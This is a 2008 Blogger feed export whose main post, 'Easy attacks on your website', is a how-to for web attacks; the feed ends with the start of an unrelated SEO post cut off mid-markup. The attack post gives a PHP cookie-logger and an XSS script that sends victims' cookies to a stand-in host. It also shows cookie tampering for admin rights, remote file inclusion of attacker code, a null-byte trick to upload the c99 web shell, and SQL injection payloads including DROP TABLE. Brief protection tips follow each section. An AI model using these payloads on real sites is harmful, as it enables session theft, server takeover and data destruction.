<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-8753040440182943704</id><updated>2009-10-12T19:01:49.518-07:00</updated><title type='text'>code yourself</title><subtitle type='html'>binary imagination</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>5</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8753040440182943704.post-5782554483767637978</id><published>2008-05-08T04:33:00.000-07:00</published><updated>2008-05-10T00:24:22.438-07:00</updated><title type='text'>Easy attacks on your website:</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Web site security is possibly today's most overlooked aspect of securing data. I  tried  to describe most popular web attacks here.And some simple tips to protect from attacks.&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;Cross side scripting (XSS):&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NNaPD7bgeyQ/SCPsxTy6dQI/AAAAAAAAACc/BWPBbSAKgoc/s1600-h/DM19.jpg"&gt;&lt;img style="border: 0px none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/SCPsxTy6dQI/AAAAAAAAACc/BWPBbSAKgoc/s200/DM19.jpg" alt="" id="BLOGGER_PHOTO_ID_5198258726787249410" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. Cross site scripting occurs when a web application gathers malicious data from a user. Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to ga&lt;/span&gt;&lt;span style="font-size:85%;"&gt;ther data from them. Everything from account hijacking, changing&lt;/span&gt;&lt;span style="font-size:85%;"&gt; of&lt;/span&gt;&lt;span style="font-size:85%;"&gt; user settings, cookie theft/poisoning, or false advertising is possible.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Attacks:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;XSS Cookie Stealer:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Here I am showing a simple technique to steal the secured cookies from a site. This is injecting some code in insecure site so that user cookies will be logged. Cookies are used on allot of websites to verify authentication. The cookies are unique for each user. So, if we take the cookies we are technically able to become that user.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Now, let’s get down to it with some cookie stealer code. First of all I need a third party host site to put some php code.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;?php&lt;br /&gt;/*Ethernets Cookie  Stealer */&lt;br /&gt;/*Put this up on  your free site */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;$cookie =  $_GET['cookie']&lt;/span&gt;&lt;span style="font-size:85%;"&gt;;&lt;br /&gt;$log =  fopen("cookies11.txt","a");&lt;br /&gt;fwrite($log,  $cookie ."\n");&lt;br /&gt;fclose($log);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;This is nothing just writing a file from GET content. We will test XSS vulnerability. To test whether we are able to inject xss into the forum insert the following test script:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;script&amp;gt;alert(’Testing  For XSS Hole’)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;If there is a hole the text “Testing For XSS Hole” will show up in an alert box. Now, then, if all is well an&lt;/span&gt;&lt;span style="font-size:85%;"&gt;d we have a permanent xss hole we can enter the following redirect code:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;window.location =  'htt&lt;/span&gt;&lt;span style="font-size:85%;"&gt;p://yoursite.com/stealer.php?cookie=' + document.cookie;&lt;br /&gt;&amp;lt;/script&amp;gt;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;This code redirects the user to http://yoursite.com/stealer.php and then adds the users&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;cookie to the end. If we now check our file there should be a user cookie inside&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;‘cookies11.txt’.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Cookie Manipulation:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Here this s very simple example. Sometimes you will see cookies that look like:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Admin=false;&lt;br /&gt;Or&lt;br /&gt;Logged_in=true;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Especially if the cook&lt;/span&gt;&lt;span style="font-size:85%;"&gt;ie is something like “admin=false;”, you main be wondering “How can we use this to gain administrative ac&lt;/span&gt;&lt;span style="font-size:85%;"&gt;cess?”. Easy - JavaScript injections.To view what our cookies look like on a given website we can enter some simpleJavaScript into the url bar:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Javascript:alert(document.cookie);&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;This will create an alert box that contains that the user has. For the sake of this demonstration, let’s say the cookies look something like this:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Logged_in=true,  admin=false, fusionid=12312313&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;So, the only part that really matters to us is “admin=false”, the rest is just non-sense that we needn’t worry about. Obviously, you probably wont find too many websites with such a blatant vulnerability, but this is only meant to outline the basics of how to do this.Obviously, we can see that if we edit this cookie to “admin=true” we will have administrative privileges. With this next simple JavaScript injection we are able to change the cookie.&lt;/span&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Javascript:void(document.cookie=“admin=true”);&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Yes, that one line of &lt;/span&gt;&lt;span style="font-size:85%;"&gt;JavaScript can give you administrative rights under the right circumstances&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;The simple procedure is “Never trust user input and always filter metacharacters”. You can filter them or HTML encode them. As user experiences always try to avoid go to external links that means any link to others host. This can solve 90% of your problems.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Remote file inclusion (RFI):&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NNaPD7bgeyQ/SCU8VDy6dRI/AAAAAAAAACk/oK-CzPXWI6w/s1600-h/remot-file-inclusion.jpg"&gt;&lt;img style="border: 0pt none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_NNaPD7bgeyQ/SCU8VDy6dRI/AAAAAAAAACk/oK-CzPXWI6w/s200/remot-file-inclusion.jpg" alt="" id="BLOGGER_PHOTO_ID_5198627677362877714" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;Remote file incl&lt;/span&gt;&lt;span style="font-size:85%;"&gt;usion is &lt;/span&gt;&lt;span style="font-size:85%;"&gt;major attacks on php programs. Remote File Inclusion attacks a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;llow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own malicious code in the space provided for PHP programs on a web page. Once they can do that, the&lt;/span&gt;&lt;span style="font-size:85%;"&gt;y can access anything that the PHP program could: databases, password files, etc. They can install their own shell running with the privileges of the web server user (such as 'apache' or 'httpd') and if the server has not been patched for some local user privilege escalation vulnerability, the shell could be used to become the root user.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Attacks:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;In default configuration of php installation allow_url_fopen = On is set. This capability even works for what, seemingly, should be restricted to the local filesystem such as the 'include' and 'require' directives.Consider the following:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;include($base_path . "/foo.php");&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;If an attacker can control the value of the base_path variable, they can replace it with something like "http://example.com/badcode?foo=" and, instead of picking up foo.php from the local filesystem, PHP will happily reach out across the net to pick up the attacker's code. O&lt;/span&gt;&lt;span style="font-size:85%;"&gt;ne of the ways that an attacker can control the value of a variable in a PHP program is through the use of the register_globals PHP mis-feature.Another consideration:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;include($_REQUEST['own_me'] . '/foo.php');&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;The _REQUEST 'superglobal' array in PHP stores all of the variables that come in from the HTTP request, regardless of whether they come as a GET or a POST variable. This one is easy to exploit by making a request like:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt; http://vulnerable.com/RFI2.php?own_me=&lt;/span&gt;&lt;span style="font-size:85%;"&gt;http://example.com/badcode&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Here no need of register_globals to be on.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Be Careful about of include() or require().&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Instead using of include($page.’otherpage.php’) use include($’otherpage.php’).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;And be attentive about register_globals configuration.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Null Byte – picture upload:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_NNaPD7bgeyQ/SCVJYjy6dTI/AAAAAAAAAC0/Yq8bsCRlCsY/s1600-h/null-bute-picture-upload.jpg"&gt;&lt;img style="border: 0pt none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_NNaPD7bgeyQ/SCVJYjy6dTI/AAAAAAAAAC0/Yq8bsCRlCsY/s200/null-bute-picture-upload.jpg" alt="" id="BLOGGER_PHOTO_ID_5198642031143580978" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;A null character/null byte/null terminator is a character with a value of zero that is shown in the ASCII Charest. And, in programming languages (php included) the null byte is used as, what’s know as, a ’st&lt;/span&gt;&lt;span style="font-size:85%;"&gt;ring terminator’.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Attacks:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Now that we have a target we are able to start exploiting.go to your targets upload page and click the ‘Browse’ button and navigate to a php shell.just for the sake of Proof of Concept, try to upload this file normally. You will get an error such as:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;“We’re sorry,  but the file you entered is using an extension that is not alloud. Images only  please!”&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;We see from this that only images are supported - a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;nd a regular php shell will not wok. let’s browse to our shell again, but this time we will change the upload bar to look like this, adding in the nullbyte character:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;C:\c99.php.jpg&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;When the script checks if our file it will see the .jpg and ’say’ “Yep, looks like an image to me” and upload it. Fortunately for us, when the file is actually uploaded it is uploaded with the .php extension because the null byte terminates anything after that. If it worked we will see:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;“Thank you for uploading your pictures - view your file at  /c99.php”&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;and you’re done, Now you brows the file get your code run.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Check the file type instead of file extension.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;SQL Injection:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NNaPD7bgeyQ/SCVLJTy6dUI/AAAAAAAAAC8/N3Op8coMqoc/s1600-h/sql-injection.jpg"&gt;&lt;img style="border: 0pt none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/SCVLJTy6dUI/AAAAAAAAAC8/N3Op8coMqoc/s200/sql-injection.jpg" alt="" id="BLOGGER_PHOTO_ID_5198643968173831490" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;br /&gt;Attacks:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;The Target Intranet&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. These results in the potential manipulation of the statements performed on the database by the end user of the application.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT fieldlist&lt;br /&gt;FROM table&lt;br /&gt;WHERE field = '$EMAIL';&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;If  $EMAIL is anything' OR 'x'='x&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Then query will be,&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT fieldlist&lt;br /&gt;FROM table&lt;br /&gt;WHERE field = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;anything' OR 'x'='x&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;This type of query may be used for the forgot password application. When second query executed a rowset will returned and a randomly row will selected or 1st row will be selected. And user will get email containing new password that he may not expect.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Schema field mapping:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Now we are trying to retrieve the schema (field name of a tale),Well This process will involve quite a lot of guessing.Let’s consider the following case.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT fieldlist&lt;br /&gt;FROM table&lt;br /&gt;WHERE field = 'x' AND email IS NULL; --';&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Here –- is used to truncate last quote. we will guess here field ‘email’.  If we get server error it means syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Finding the table name:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Let’s consider the following case,&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT email, passwd, login_id, full_name&lt;br /&gt;FROM table&lt;br /&gt;WHERE &lt;strong&gt;email&lt;/strong&gt; = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;x' AND 1=(SELECT COUNT(*) FROM &lt;em&gt;tabname&lt;/em&gt;); --&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;We can guess tablename here.Another case,&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT email, passwd, login_id, full_name&lt;br /&gt;FROM members&lt;br /&gt;WHERE email = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;x' AND members.email IS NULL; --&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Finding some users:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT email, passwd, login_id, full_name&lt;br /&gt;FROM members&lt;br /&gt;WHERE email = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;x' OR full_name LIKE '%Bob%&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Brute-force password guessing:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT email, passwd, login_id, full_name&lt;br /&gt;FROM members&lt;br /&gt;WHERE email = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;bob@example.com' AND passwd = 'hello123&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';&lt;br /&gt;&lt;/span&gt;  &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;The database isn't readonly:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(102, 102, 102); padding: 2px; background: rgb(204, 204, 204) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(204, 0, 0); text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;SELECT email, passwd, login_id, full_name&lt;br /&gt;FROM members&lt;br /&gt;WHERE email = '&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;x'; DROP TABLE members; --&lt;/span&gt;&lt;span style="font-size:85%;"&gt;';  -- Boom!&lt;br /&gt;&lt;/span&gt;    &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;When user gives any data as input filter single quote or double quote. Or you can add additional black slash before each single quote or double quote. Different database can return the sever error message and error number. Avoid showing the errors to the user rather show users readable message.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8753040440182943704-5782554483767637978?l=ashiqul-islam.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/5782554483767637978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=8753040440182943704&amp;postID=5782554483767637978' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/5782554483767637978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/5782554483767637978'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/2008/05/easy-attacks-on-your-website.html' title='Easy attacks on your website:'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='07853138415326753433'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_NNaPD7bgeyQ/SCPsxTy6dQI/AAAAAAAAACc/BWPBbSAKgoc/s72-c/DM19.jpg' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8753040440182943704.post-3146291075763884454</id><published>2007-11-08T01:58:00.001-08:00</published><updated>2007-11-08T03:34:27.971-08:00</updated><title type='text'>5 Things: Make your site popular</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RzLoY0ErglI/AAAAAAAAABs/CMPlLrT32wI/s1600-h/mark1.gif"&gt;&lt;img style="border: medium none ; margin: 0pt 10px 0px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RzLoY0ErglI/AAAAAAAAABs/CMPlLrT32wI/s200/mark1.gif" alt="" id="BLOGGER_PHOTO_ID_5130418438521193042" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;Keyword research:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;Keyword research is one of the most fundamental SEO activities. The process of finding the appropriate keywords for you site is called key word research. Investigation to discover what terms people search for, how often, and how many. To determine which queries your site is most relevant. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span 